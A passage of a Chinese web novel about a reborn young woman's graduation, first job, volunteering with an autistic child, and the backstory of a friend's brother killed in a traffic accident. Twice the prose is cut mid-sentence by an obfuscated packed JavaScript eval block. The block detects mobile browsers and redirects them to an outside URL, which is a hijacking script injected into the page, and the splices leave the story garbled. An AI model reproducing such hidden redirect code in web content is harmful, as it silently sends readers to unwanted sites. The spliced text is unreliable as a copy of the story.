人们常说“人无法同时拥有青春和对青春的感受”,她拥有青春的年纪、样貌和身体,也比任何同龄人更明白青春的意义,但她没办法全身心享受青春,她时常觉得自己并不属于那儿。 回到职场上,她反而觉得更轻松,也更适应。 职场里的时间流速似乎与学校里的不一样。在无数次上下班打卡机发出“滴”的声音里,林舒迎来了告别校园日。 她原以为曾经经历过,再面对这种场面时内心会毫无波澜。但当摄影师举手示意完成拍摄,原本整齐排了四排的班级在一瞬间作鸟兽散时,她还是品尝到了第一世里那名为“分别”的苦涩滋味。 她还是不擅长告别。 青协的师弟师妹们在一旁等她,他们有的拿着花,有的拿着气球,见她拍完照都向她欢呼,纷纷说着“毕业快乐”,“师姐常回来,我们多聚聚”,她嘴里应着“好”,但心里很清楚今天是她与多数人最后一次见面。 跟大家拍完照,人群逐渐散开后,她抬眼看见了捧着一束花站在人群外的陈彦森。 他的眼睛亮亮的,鲜花衬着他整个人很有神采。他说:“抱歉,因为处理工作上的事情来迟了。” 她瘪瘪嘴:“怎么,你也来向我告别吗?” 相处这么久,通过她一个极细微的表情或动作,他就知道她在想什么。他捏捏她的脸蛋,宠溺地笑着说:“乱想什么呢,我要像个狗皮膏药贴着你,紧紧贴着你,让你甩都甩不掉。” 接着,他把花递给她,“来,我给你和叔叔阿姨拍照。” 今天丁敏和林不帆的脸色都不太好看,两人没有任何互动交流,僵硬地跟林舒拍完合照后,两人分别向不同方向走一步,与对方保持一定距离。 林舒察觉出不对劲,偷偷问丁敏:“妈咪,你跟老爸吵架了?” 丁敏:“没事,你开开心心拍毕业照哈。” 没有得到答案,林舒又去问林不帆:“老爸,你跟妈咪吵架了?” 林不帆:“大人的事,小孩子别管这么多。” 虽然两人都三缄其口,但林舒知道他们肯定闹矛盾了。午饭后,她先送他们离开学校,接着再去学校礼堂参加毕业典礼。 当她俯身低头,院长将她的学士帽上的流苏从右边拨到左边,同时也将她人生的时钟从象牙塔拨向成人世界。 重生后的第四年,她重回成人世界。 拿到毕业证,通过转正述职后,她迎来了两天一晚的北辰市出差之行。 陈彦森开车送林舒去机场,念叨着:“你这公司真没人性,这才刚拿毕业证呢,就迫不及待地要你去出差。” 林舒坐在副驾悠闲地吃着薯片,含糊不清地说:“我觉得出差挺好的呀,能带薪去另一个城市,看不同的风景吃不同的食物诶。” 昨天开会听温昊殷说,这次去北辰出差见的新项目客户是市面上非常畅销的舒芙巧克力的母公司,为的是参加供应商大会,即广告公司中标后与客户公司开的一个见面会,主要由广告公司向客户介绍项目服务人员、内容和方向等。 第一世的这个时候她正跟李洛诗、庄路瑶、程芯去毕业旅行,没有去出差,所以没有负责这个项目。而这次她之所以选择这个项目,是因为她觉得希望做出给人们带来幸福快乐的广告宣传,那么快消品再合适不过了。 陈彦森说:“我说真的,等以后我公司稳定了,如果你对智能仓储感兴趣,可以来我公司。” 毕业后,陈彦森如愿创业开公司,做的就是智能仓储,而楚洛西成为这家公司的第一个员工。本来这个第一个员工的位置是留给刘沐鑫的,但他考虑再三还是选择去大厂当程序员。 林舒把薯片咬得咔咔响:“到时候,我身价可就今非昔比了,你得花大价钱挖我过去。” “那不得让你做大股东才行?”陈彦森笑着逗她。 “这个好。”说到这个林舒就来劲,“等我当了大股东,我要招个青春男大来给我当助理,给我跑腿买个下午茶什么的。” “青春男大?”陈彦森瞄她一眼,“有我还不够吗?我腿脚好,也可以给你跑腿啊。” 林舒拿起一块薯片放在眼前,刚好可以遮住驾驶员的脸,半眯着眼睛说:“说实话,我现在看你已经看腻了。” “看腻了?”陈彦森一把夺过她手里的薯片塞嘴里,嘟嘴撒娇,“你不是说人家是校草吗?” 林舒做了一个呕吐的动作:“哥你别搞这套,你走不了这风格,怪恶心的。” 她抓了几块薯片塞进他嘴里,哀求道:“你还是别说话了,当个高冷帅哥吧。” 陈彦森拼命嚼嚼嚼,努力挤出几个字:“可人家本来就不高冷嘛,都是装的。” 两人有说有笑来到机场,陈彦森陪着林舒去跟温昊殷汇合,并一路送到安检口。 过了安检,温昊殷回头看到陈彦森还站在原地,忍不住逗林舒:“你男朋友还一直看着你呢。” 林舒向陈彦森挥挥手示意他回去,回身说道:“不是男朋友,就是普通朋友。” “哦——”温昊殷一副恍然大悟的样子,“原来你还没给人家名分呀。” 林舒:“……” 温昊殷见女孩涨红了脸,便不再逗她,改聊其他话题。 …… 第二日上午八点,林舒跟着温昊殷等一众项目组的人来到会议厅,有的人将提前准备好的水和席位牌摆好,有的人摆放椅子,有的人调试设备。 四十五分钟后,客户们陆续入场落座。九点整,会议开始。 林舒作为新人只在介绍项目人员时上台做了自我介绍,其余时间都负责坐在底下鼓掌。时间一长,她的眼皮开始打架。 正当她昏昏欲睡时,突然听见嘭一声响,林舒一下子惊醒,睁开眼睛。 “廖总晕倒了!”有人喊了一声。 廖总?客户市场部的大领导廖总? 有人靠近廖总探了下呼吸,声音变得惊恐:“廖总好像没呼吸了!” “什么?” “那快快打120啊!” “这里,这里有医生吗?” 人们骚动起来,没有人再去例会台上的人讲什么,都纷纷离开自己的座位在会议厅内走动着。有人在打120,有人跑到外面去找人,有人指挥着大家为廖总让出一片空间给他呼吸。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林舒实习的半年里都是做后端支撑,没有直接对接过客户需求,在他们眼里她就是一个初出茅庐的黄毛小丫头。更重要的是,这是一个为期两年的千万级别项目,做得好的话业绩非常可观,区域领导很是重视。 她看了温昊殷一眼,后者向她点点头,她说:“我有信心能够做好这份工作。” 别说她已经有过五年工作经验,就算没有,她也会应下来。 她可是林舒诶,她对自己充满自信。 “很好,我很喜欢你。”客户拍了拍她的肩膀,“合作愉快。” 离开会议厅后,温昊殷才开口说:“我刚刚还有点担心你会拒绝呢。” “我本来是想拒绝的,但是看到你向我点头,我就答应了。”林舒挽着温昊殷的手,脑袋往她肩上蹭了蹭,“本想着躲在大佬后面做一条咸鱼,现在好了,要去冲锋陷阵了。” 温昊殷摸摸她的脑袋,毛茸茸的很像她养的小猫,笑道:“放心,部门奖金少不了你的。” “真的?”一谈到钱,林舒双眼发光。 “那肯定的。”温昊殷说,“今天我们的见面大会开得很成功,你有很大的功劳,我们在北辰再待一天,我请你去迪士尼怎么样?” 林舒一直很期待去迪士尼,现在有人请她去,她自然很是心动。但是她已经计划好明天一早去参加志愿活动,后天陪李洛诗去意向学校参加面试,今天必须回南苑。 林舒婉拒道:“不用了谢谢,我周末还有事。” 温昊殷也不勉强:“行,下次来北辰时间充裕的话,我们再去。” 离开北辰的时候,林舒恋恋不舍地朝迪士尼的方向看了一眼。没事,她安慰自己,未来还长呢,总有机会的,现阶段还是要先做要紧事。 加油,林小舒! 29. 第四世(二十六) 上午九点,南苑儿童养护中心。今天的志愿活动主题是,爱心捐赠人士陪伴残疾儿童度过愉快的一天。 林舒跟大伙看完公益VCR后,围成一个圆圈等志愿者发贴纸写下自己的名字,方便小朋友称呼。她刚刚坐着没留意其他人,现在仔细一看,竟看到楚洛西也在其中。正当她抬手想打招呼时,志愿者将贴纸递给她,她接过后再抬头,发现楚洛西已经低下头在写字了。 志愿者在大家写名字期间讲解活动注意事项,接着将小朋友们领进来,按贴纸颜色找到对应的志愿活动参与者。 林舒的小朋友是一个五岁的小女孩,叫刘千语。她扎着两个小辫子,小脸肉嘟嘟的很是可爱。 “她是一名自闭症儿童。”活动开始前,志愿者告诉林舒。 “她的爸爸是工地的工人,妈妈在老公工作的工地上负责煮饭,平时陪伴她的时间不多。两夫妻文化程度不高,干的又是体力活,按照他们的思想,孩子生下来给个地方住给口饭吃就行了,反正他们当年也是这么长大的。所以,一开始知道孩子是自闭症的时候,他们认为孩子只是内向而已。” 背井离乡来到大城市为三餐温饱疲于奔命的夫妇,缺乏关注和照顾的孩子,这样的家庭组合在大城市里太常见了。 “待会你跟她相处的时候,语速尽量放缓,表达尽量简洁和直接。如果她突然情绪激动大哭大笑,或者用力推你,请你不要做出过激的举动。”志愿者叮嘱道。 “好,我明白了。”林舒应下。 刘千语在志愿者带领下走到林舒身旁,默不作声。 林舒蹲下,与她视线持平,向她做自我介绍:“你好呀,我是林舒姐姐,你叫什么名字呀?” 刘千语看了她一眼,还是没说话,径自走到一旁的椅子坐下,拿起桌上的蛋糕胚塞进盒子里,目光在桌上扫射着,似乎在找什么东西。 林舒也跟着搬了张小椅子坐在她身旁,见她停下动作,整个人如入定般停滞,便拿起奶油瓶子,轻声问:“你是在找奶油吗?” 刘千语没有回答,也没有看她,伸手接过瓶子,往蛋糕胚上挤了几圈奶油,用勺子一点点抹平奶油。 “哇,你好厉害啊。”林舒赞叹道,用一双崇拜星星眼看着她。 她还真不是夸张,完全是发自内心的。她想起自己五岁的时候,那会住在城中村里,最大的乐趣便是去巷口的沙堆里玩沙子,哪会抹奶油啊。现在的小孩子真是不得了,果真是一代比一代强。 她竖起大拇指夸赞道:“你比姐姐小时候强太多了,真棒!” 刘千语手中的动作一停,放下手中的奶油瓶子,又拿了一块蛋糕胚塞进盒子里,但这次不是给自己用,而是递给林舒。 林舒很是惊喜:“这是给我的吗?” 这是小女孩今天第一次看向她,宽大的双眼皮,长且翘的睫毛,眼神灵动,一点都不呆。 刘千语点点头,把奶油瓶子递给她,小声说:“你,用这个。” “谢谢你呀,聪明的小朋友——”林舒始终谨记她没有主动把名字告诉自己,所以她也就装作不知道。 这一招果然奏效,刘千语第二次开口说话:“我,叫,刘千语。” “千语,真好听的名字。”林舒说,“千语,我是林舒姐姐,你教姐姐做蛋糕好不好?” “嗯,”刘千语点点头,指了指奶油瓶子,又指了指勺子,“你,用这个。” “我明白啦,谢谢千语。”林舒说着,拿起奶油瓶子学刘千语刚刚那样挤了几圈,然后再用勺子刮平。 林舒在做这些时,余光看到旁边有灼灼目光注视着她,因此她刻意放缓了动作。直到她将奶油刮平整,旁边的人才开始做下一步。 桌上摆着几样用来装饰蛋糕的东西,有五颜六色的巧克力豆、手指饼、各种形状的饼干。刘千语抓起几颗巧克力豆撒在奶油上,接着在左边插一个粉色爱心饼干,右边插一个褐色小熊饼干。装饰好蛋糕后,她抬头看林舒,示意自己已经做好了。 林舒将桌上的几样装饰品看了个遍,最后选了一个兔子形状饼干插上,又在兔子饼干后面斜斜插了两根手指饼。 “耳朵。”刘千语指了指手指饼。 “对,”林舒很惊喜,居然有人懂她的抽象,“这是兔子长长的耳朵。” 她拿了一个干净的勺子:“千语,想现在尝一下蛋糕吗?” 刘千语用小小的手掌护着自己做的小蛋糕,摇摇头:“这个,我要留给妈妈。” “那这样,”林舒四处张望,看见角落里的有个小冰箱,指着它说,“我们把你做的蛋糕放冰箱里,然后一起吃我做的这个,好吗?” 经过一起做蛋糕,刘千语的反应比一开始见面丰富一些。她点点头,乖乖跟着林舒走到冰箱边上,小心翼翼将一直捧着的小蛋糕放进去。 回到座位上,林舒用勺子舀了一小口蛋糕递给刘千语。她本意是想直接递到她嘴边的,但鉴于小孩有自成一套的自我防御机制,为了不打破它,她只将勺子递到她手边:“千语,你尝尝姐姐做的好不好吃?” 刘千语看了她一眼,又看了一眼勺子,缓缓伸手接过,带着点迟疑吃下。她又抬头看向面前的大姐姐,见她一脸期待,便试探性地点了点头。 她在等林舒的反应。 “哇,”林舒见刘千语给反馈是真的开心,激动地拍了拍手,“你喜欢吃,我就很开心。” 刘千语定定看着她,过了两秒,小声问:“妈妈吃到我做的蛋糕,也会这么开心吗?” 这是今天相处以来,刘千语说过最长、最完整的句子。 林舒:“当然,这会是你妈妈吃过的最特别、最有意义的蛋糕。因为这是她的宝贝亲手做的,全世界独一无二。” “宝,贝。”刘千语看着她,浓密的睫毛随着眼睛眨动,像扑着透明翅膀的飞蛾,灵动非常。 她的声音很小:“妈妈很晚回家,但她会叫我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903031|157442||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,宝,贝。” “那当然,”林舒也看着她,“她很爱很爱你,你是她的宝贝。” 她跟其他小孩子没什么不同。她只是没将心中的千言万语说出来,只是更早拥有自己的小世界,只是更早活在这个小世界里而已。她就是聪明可爱的刘千语,是有自己奇思妙想的刘千语,是爸爸妈妈的宝贝刘千语。 她跟其他小孩子一样,需要被爱,需要被关注,需要被肯定。 所以林舒很肯定地告诉她:你妈妈很爱你。 因为林舒就是这么被妈妈爱着长大的,她清楚孩子对妈妈天然的爱与依赖,知道妈妈的爱对于孩子的重要性。即使她已经长这么大了,有时候也会撒娇跟丁敏一起睡觉,早上朦朦胧胧醒来时会被狠狠亲一口脸颊,耳边传来丁敏温柔的声音:“我的宝宝,起床啦。” 这种被爱着的幸福感和安全感,是世界上任何一种情感都无法替代的。 林舒陪着刘千语,也是刘千语陪着林舒,度过了很特别的一天。 分别的时候,林舒将刘千语送到门口,看着她亲手将蛋糕送给妈妈,妈妈疼爱地摸摸她的小脑袋。目送她们手牵手离开后,林舒回屋收拾东西准备离开。 她走到门外,意外发现楚洛西也在,正想打招呼,就看到一个小男孩走过来拍拍他,做了几个手势。楚洛西立刻蹲下,做了几个不一样的手势。 这时,林舒才意识到这个小男孩是聋哑人,楚洛西是在用手语跟他交流。 待小男孩离开后,林舒终于有机会跟楚洛西打招呼:“师兄。” 楚洛西抬起头:“林舒。” “好巧,你也来这里做志愿者。”林舒说。 楚洛西抿唇一笑,露出嘴角的梨涡,“是,因为小雨。” “小雨?” 楚洛西:“你刚刚看见的那个小男孩,他叫小雨,是个聋哑人。这里的志愿者要么就不会手语,要么就没有熟练到可以正常交流,所以我每周都过来陪他聊聊天。” 林舒:“没想到你还会手语,是为了小雨特意学的吗?” 楚洛西摇头:“不是。我小时候有个好朋友是聋哑人,因为想要跟他多交流,所以我学会了手语。” 林舒点点头,刚想说什么,却被他的下一句堵得说不出话来。 “他叫陈彦柏。” 陈彦柏?跟陈彦森的名字仅有一字之差。 这个名字挑动起林舒的回忆,那张泪流满面的脸浮现在她面前。 “我没有哥哥了。”他哭着说。 难道这个陈彦柏就是陈彦森已经去世的哥哥? 他哥哥是怎么去世的? 为什么楚洛西会认识陈彦森的哥哥? 楚洛西跟陈彦森小时候就认识了吗?为什么他们从来没有提起? 无数个问题在同一时间占据她的脑袋,她茫然地看着楚洛西,希望他可以解答这一切。 楚洛西说:“我想,他会希望你知道的。” 30. 第四世(二十七) 2004年,楚洛西8岁。 动画片《四驱兄弟》在小学生群体大火,男生们在课间热聊昨晚播出的剧情,并相约放学后一起去校门口的小卖部买四驱车玩具,然后在塑胶轨道上比赛,看谁的四驱车跑得最快。 下课铃响,大家匆忙收拾书包,同桌邀请他一起去玩:“楚洛西,听说今天陈阿姨店里上了一批新的四驱车,要一起去吗?” “不去了。”楚洛西挥挥手跟同桌道别,急匆匆离开教室,往附近的游乐场跑去。 他之所以这么着急,是因为最好的朋友在那里等着他。 楚洛西匆忙赶到游乐场,他的好朋友果然已经到了。快到好朋友身边时,他从快跑改为慢走,轻轻拍了拍正在摆弄四驱车的他。 他回过头,看到来者是楚洛西,立马露出了一个灿烂的笑容,放下手中的四驱车,打手语:“你来啦。” 楚洛西一脸歉意,也打手语回答:“不好意思,我迟到了。” 面前的朋友还没来得及打手语说些什么,一个声音从不远处传来:“你迟到了。” 带着点挑衅的意味。 楚洛西一听声音,不用回头都知道是谁,忍不住翻了个白眼,没好气地说:“你怎么也来了?不用练琴吗?” “切,我又不是来找你的,我是来找我哥的。” 声音靠近,楚洛西的脑袋被拍了下,他刚想回击,看到朋友正看着他们,忍了忍没有动手。 今天他赶过来是为了见他的好朋友陈彦柏的,他是一个聋哑人;而刚刚说话的则是他的弟弟,陈彦森。 陈彦柏温润有礼,而与他仅一岁之差的弟弟陈彦森则调皮捣蛋,在学校惹事生非,走廊罚站、操场罚跑经常有他的身影。 一周前轮到楚洛西值日,他去操场垃圾场倒垃圾,碰到陈彦森和两个男同学在操场蛙跳。不用问,肯定又搞小动作被老师抓住了。 他想装作看不见,可对方扯着嗓门大喊:“洛西哥哥!” 真服了这个小祖宗,楚洛西在心里翻了个白眼。这家伙自懂事后就没再叫过一声哥哥了,现在这么一叫,准没好事。 但楚洛西还是朝他走去——谁叫他是陈彦柏的弟弟呢! “陈彦森,你又干什么坏事了?” “我怎么会干坏事呢?洛西哥哥,你还不了解我吗?”陈彦森蹲在地上,仰着头眨巴眨巴眼睛,一副无辜的样子。 用现在的词汇来形容当时的他,大概就是:绿茶。 但当年这个词语还没有这层意思,楚洛西只觉得浑身起鸡皮疙瘩,但还是耐着性子问:“你叫我过来是什么事?” 陈彦森依旧蹲着,仰头看着楚洛西,语气中带着撒娇:“洛西哥哥,我还剩半圈,实在跳不动了,你帮帮我,好不好?” 一边说,还一边扯了扯楚洛西的裤脚。 楚洛西:? 少年,你在逗我吗? 他立刻后退两步,严厉拒绝:“陈彦森,一人做事一人担。老师罚你是因为你做错事了、你不听老师话,你不能找别人代为受过。” 陈彦森不死心,伸手还想扯他裤脚,哭诉道:“我真的跳不动了,洛西哥哥,就只剩半圈,你帮帮我嘛。老师在六楼,他看不清是谁的。” “不行。”楚洛西坚定立场。 两人本来打小就不对付,经过这件事后火药味更浓,陈彦森说话句句带刺。 陈彦柏就是他们的和事佬。他向两人示意,打手语说:“你们不要吵架,要和睦相处。” 陈彦森这个人虽然吊儿郎当,做事待人都不太正经,但是他对哥哥陈彦柏却是言听计从、千依百顺。哥哥让他不要吵架,那就不吵架。 他亲昵地揽住楚洛西,说:“看在我哥份上,我大人不记小人过,不跟你吵架。“ 小孩子都是因为信任和亲近才会拌嘴和打闹,楚洛西也瞬间忘却不快:”走,我们去比赛!“ 陈彦柏在游乐场的沙地里放了两个四驱车轨道供大家玩耍,现在其中一个有人在玩,他们玩另一个。 三辆不同颜色的四驱车同时被放上轨道起点,随着陈彦柏右手一挥,三辆四驱车在同一时间出发,车胎与轨道摩擦发出滋滋声,车与车之间及车与轨道之间撞击发出砰砰声,混合着陈彦森和楚洛西的呐喊声,一时之间好不热闹。 两人全身心沉浸其中,没人注意到陈彦柏起身离开。 当红色的四驱车首先冲过终点,陈彦森欢呼跳起:”耶!我赢了!“ 他第一时间想要跟哥哥分享喜悦,猛然回头却发现陈彦柏并不在他身边,脸色骤变,拉着楚洛西慌张地说:”我哥,我哥不见了。“ 楚洛西也在同一时间发现陈彦柏不见了,他一边边牵着陈彦森往沙地外走一边对他说:“别着急,你哥一定在附近”。 他牵得很紧,生怕陈彦森也不见了。 两人还未走出几步,陈彦森便大喊起来:“哥哥,哥哥,我看到我哥了!” 陈彦柏背对着他们,正往马路中间走。马路中间有一只蓝色的小鞋子,看起来是哪个小孩落在那里了。 这里车流量很大,不少车辆摁喇叭超车行驶,路况复杂。 “哥!哥!快回来,危险!”陈彦森喊道,旋即意识到陈彦柏听不见,便甩开楚洛西的手,向陈彦柏跑去。 楚洛西本来紧紧牵着他的手,突然被甩开,反应过来立刻反手想要捞回,但身旁的小孩早已跑到马路边上,一只脚马上就要踏上斑马线。 就在这时,砰—— 小小的身躯腾空飞起,落地时,小手还紧紧攥着那只蓝色的小鞋子。 楚洛西整个人深陷痛苦回忆中,双眼无神,沉重地说:“一夜之间,陈彦森变成了另一个人。” 那天过后,他不再说话。 课堂上老师叫他起来回答问题,他不说话,就这么干站着;同学跟他说话,他不作任何反应;他父母跟他说话,他也跟没听见似的,妈妈急得哭了,他才慢慢用手语回应。 他父母担心他生病了,带他去医院做了全身检查,医生说他是创伤后遗症,因无法接受哥哥离世,而选择将自己封闭起来。 得知此事的他们破天荒推掉所有工作,留在家里全心全意陪伴陈彦森。要知道他们常年在国外做生意,平时兄弟俩都是保姆在带。 半年后,陈彦森终于可以开口说话了,虽然说话语速很慢,但总归是有了极大的进步。 然而,很快,大家发现他的变化不止这一处。 他变得沉默乖巧,不打闹不淘气,上课认认真真听,课间就坐在座位上哪都不去,放学就回家写作业。平时不爱说话,有人主动跟他说话他会礼貌回应,有人向他请求帮助他会尽力帮忙。 从一个淘气顽皮的孩子,变成一个深得老师家长喜爱的三好学生。 “他变成了他哥哥的模样。”楚洛西点燃一根烟,火光在他脸上跳跃。 他无法接受哥哥离去,所以终日带着一副面具,以哥哥的姿态对待这个世界。 每当遇到事情,他都会问自己:“如果是哥哥的话,他会怎么处理?” 哥哥会很用功读书的,于是他用功读书,争取考年级第一;哥哥会友善对待任何人的,于是他不再跟人对着干;哥哥会很听话,很讨老师欢喜,于是他也做个乖乖学生,不表露任何情绪,按时交完美作业,考优异成绩。 他全身上下都是假的,说的话是假的,写的字是假的,顺从是假的,乖巧也是假的。只有冷脸不说话的时候,才是事故后那个真正的他。 原来他曾经历过这样的事情,怪不得林舒觉得陈彦森的气质这么矛盾。不说话不笑的时候冷冰冰生人勿近,但一开口说话就很有礼貌;会弹钢琴,也会飙车;成绩很好,也会翻墙逃课;他看似循规蹈矩按部就班,但实际上他高考报志愿的时候就考虑到毕业后创业。 “在那场车祸中,其实他们两兄弟都死了。”楚洛西吐出一圈烟雾,薄薄的烟雾遮住他的脸,看不清脸上的表情。 在那场车祸中,死去的是陈彦柏的□□和陈彦森的灵魂。 林舒想起上一世死前听到的那一声撕心裂肺的叫喊。也就是说,第三世她遇到的陈彦森,不仅在童年时期亲眼目睹哥哥因车祸丧生,还在成年后看着喜欢的女孩被大货车碾压致死。 或许,他身上那点残存的、为他吊着一口气的灵魂意识,也随着她的身体被碾碎而彻底消失殆尽。 林舒斜靠着墙,心痛得难以呼吸,心中有一个疑问:“可是我认识他的时候,他在高中出了名顽皮,老师们对他是又爱又恨。” 大一军训后,高一班长余热组织大家回学校探望老师,苏老师说认识陈彦森初中的班主任,说起他初中时非常乖巧听话,但是高中却像变了个人似的,调皮捣蛋,让人头疼。当时林舒还打趣说是叛逆期,现在想想,事情似乎并没有那么简单。 楚洛西点头:“是,他高中时期的性格变得跟出事前很像,我猜测是青春期情绪不稳定,不自觉流露出真实性格的一面。其实当时我是很高兴的,从前的陈彦森回来了,他终于走出了迷雾。” “再后来,大学时,你频繁出现在他的生活里,他慢慢地卸下防备,不再伪装性格,展示真实的自己。现在是最趋向于我理想中,那个调皮捣蛋的陈彦森长大后变沉稳但不沉闷的模样。” 他看着林舒,真诚 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创业并不容易,即使是周末,陈彦森也在上班。 今天已工作十二个小时了,肚子适时地叫了起来。他脱下蓝光眼镜,揉了揉发涩的眼睛,关机下班。 他在电梯里按下“B1”,犹豫后又按下“1”,还是先去楼下吃个饭再回家吧。他揉着酸涩的后颈走出电梯,穿过大堂时,似有心电感应般,他向角落里的那排沙发望去,竟看见那个熟悉的身影。 她背靠着沙发坐得笔直,眼神涣散,在想什么想得入迷,以至于他走近都没有察觉。 他站在她身前,投下的影子正好将她小小的身躯笼罩住,就像在拥抱她。 他开口:“林舒。” “啊?”林舒这才回过神来,“你下班啦。” “你过来怎么不说一声?我刚刚差点就从你面前走过了。”陈彦森伸出手,林舒很自然地搭上,手心交叠,温热传给对方。 林舒笑嘻嘻:“那你不还是看见我了?” “走,去吃饭。” “等一下——”林舒攥紧他的食指,迟疑后还是说,“你猜我今天参加公益活动时遇见谁了?” “谁?” “楚洛西。” “哦——”声音里没有一丝波澜,听不出他们曾经如此亲近,也听不出他们现在是共同创业关系。 “他居然会手语!我原本想问问他在哪学的,想着我也去学学,以后遇到聋哑儿童能沟通上来。”林舒观察着他的神情变化,继续说,“他说,他以前有个朋友是聋哑人,为了能跟他交流,就去学手语。” 他的脸部肌肉轻微抽动一下,神情有点不自然。 林舒走近一步,看着他的眼睛,声音轻柔:“事情已经过去了十五年。陈彦森,不要被困在过去,你也该有你自己的人生了。爱你的人只会希望你做自己。” 陈彦森看着她的眼睛,小鹿般的眼睛此刻闪着泪光,心疼、难过、悲伤、自责,原来她都知道了。 “你喜欢怎样的男生?”他问得前言不搭后语的,但林舒很认真地回答:“一个完整的人,一个做自己的人。” “来的路上,我一直在想,小学的你,初中的你,高中的你,大学的你,现在的你,到底哪个才是真实的你?刚刚在见到你的那一刻我突然就想通了,他们不是你,但也都是你,每个不同阶段下的你拼凑出完整的陈彦森,我喜欢这个完整的你。” 第一次,她完整地、真实地表露自己的心意。 “所以我希望,你可以收回目光看看自己,做回自己。” “做自己。”陈彦森重复了一遍,似从很远的地方收回思绪,“我想,我哥也会希望我做自己的。” “陈彦森,”林舒动情地抱着他,“我会一直陪着你。” 陈彦森搂紧她,手指穿过她的发丝缠绕在一起,像两个生命体紧紧相依相随。 谢谢,他在心里说,谢谢你来到我身边。 吃完饭,陈彦森去取车。他径自绕过小轿车,走向角落里的摩托车,“我们去兜风。” “兜风?”林舒说,“你不要告诉我,你见客户也是开摩托的。” “对呀。” 林舒无奈道:“你现在是创业公司的老板,不怕客户觉得你不够稳重吗?” 陈彦森倒委屈上了:“你不是说开摩托很帅吗?” “哪有?”林舒笑出声,“你别赖我。” “就是你就是你。” 引擎启动,两人的身影融入夜色中,笑声被风裹挟着,送去好远好远的地方。 31. 第四世(二十八) 教师编面试出成绩的时候,林舒一手拿着李洛诗的身份证,一手在键盘上敲:4、4、0……身后传来李洛诗紧张的声音:“查到了吗查到了吗?” 林舒无奈:“你自己来查。” “不不不,我不敢看。”身后的人紧贴着林舒后背,“你查,你查。” 林舒敲下回车键定睛一看,内心狂喜,但表面假意冷静,反抓李洛诗衣摆将她从自己身后“拎”出来,指着屏幕说:“成绩出了。” 李洛诗被拎出来后眼疾手快捂住眼睛,嘴里嚷嚷道:“你告诉我吧,我不敢看!” 林舒敲了敲屏幕,笑道:“恭喜你,过了。” 南苑市教育局直属事业单位南苑第二小学2019年第一次公开招聘教职员成绩单 姓名:李洛诗 报考单位:南苑第二小学 报考岗位:小学语文 笔试成绩:87.21 综合成绩:86.98 状态:进入体检 “天呐!”李洛诗扑到电脑桌前。 夏季灿阳猛烈,人心亦烈。 冬季暖阳高照,人也变得懒洋洋的。林舒走出写字楼,看到物业将狗年贴画取下,贴上猪年福字。 这么快又一年了。 她在心里默默说:“你好,2020年。” - “你好,请问订这个蛋糕的人是姓陈吗?” 林舒路过烘焙店,一眼瞥见橱窗内的蛋糕上竖着的牌子:祝林舒小仙女24岁生日快乐! 她是这家烘焙店的常客,店员都认识她,也知道她姓林。眼看生日惊喜被本人发现,店员尴尬地咧出一个笑容。 林舒笑着拨通电话:“陈彦森,不是说好年年十八吗?” 她戴着生日帽,一口气吹灭蜡烛。 - 手机屏幕亮起,弹出一则新闻。 “2022年10月30日新修订的《中华人民共和国妇女权益保障法》经十三届全国□□会第三十七次会议审议通过,已于2023年1月1日起正式施行。” “《妇女权益保障法》第二十一条明确提出,医疗机构施行生育手术、特殊检查或者特殊治疗时,应当征得妇女本人同意;在妇女与其家属或者关系人意见不一致时,应当尊重妇女本人意愿。” 李星星用生命为产妇争来亲自签字的权利。 26岁的林舒抬起头。前几天写字楼物业清洗了玻璃外墙,此刻玻璃十分洁净,透过玻璃窗户看到的天空也清透蔚蓝。 原来2017年已过去这么久了。 - 时光荏苒,岁序更替,林舒终于走到2024年。 6月17日晚上,北辰市,F酒店。 明天公司在络盈酒店举办周年庆,所有人都要早起,所以林舒早早洗完澡钻进被窝里。 温昊殷走到林舒床边,说:“我在北辰有个好朋友叫我去她家睡,所以这两晚我就不回酒店了。” 这句话林舒听着很耳熟,总感觉听过很多次了,但一时没想起来也懒得细究,便点点头跟她道别,给李洛诗打了个视频。 林舒记得第一世的这个时候,李洛诗最疼爱的小猫吉仔因她妈妈疏忽没关好门溜走了。她用尽方法找它,剪刀大法、喂养附近的流浪猫、拿着罐头到处喊它的名字,甚至还花了几千块找塔罗师,最后还是没有找到。 为此,李洛诗和她妈妈发生了激烈的争吵,然而她妈妈并不认为自己有错,“只是一只猫而已。”她说。 因此,这一次她要阻止这件事发生。 李洛诗接通视频,看背景她还在学校。 林舒:“这么晚还在加班啊?” 李洛诗:“这不准备要期末考了吗?有写不完的教案呢。” 林舒叹气:“下一个学期可以不做班主任了吗?你的教学任务已经很重了。” 李洛诗抬眼,转动着手中的签字笔:“我在这里最年轻,这硬骨头不是我啃,谁啃?” 林舒一时没接上话。 其实她对教师这一职业的了解主要来源于第一世的余热讲述。余热的愿望是过最平凡安稳的生活,所以她的目标非常明确,一毕业就考进学校里做一名小学英语老师。她对林舒说:“当然是累的,但是工资福利不错,日子安稳,还有寒暑假,我很满足了。” 也正是因如此,这一世她知道李洛诗有意愿做老师后,才会积极督促她考教师编。 “这么累,后悔当老师吗?”林舒试探性问。 谁知李洛诗说:“你加班比我还多,一年就五天年假,你都不喊累,我喊什么累?” 林舒翻白眼:“够了,我不是来听你扎我心的。” 李洛诗莞尔一笑,她是真的好看,天生丽质。一般人工作十几个小时早就累得脸都发黄了,她却依旧红粉菲菲,很有神采。 她问:“你找我,不会就是想看我加班吧?” 林舒:“确实是有件事要跟你商量——你不是说住家里很不自由,经常跟妈妈吵架,妈妈又不喜欢吉仔吗?我有个提议,要不你下学期开始住教师宿舍吧,带着吉仔一起。” 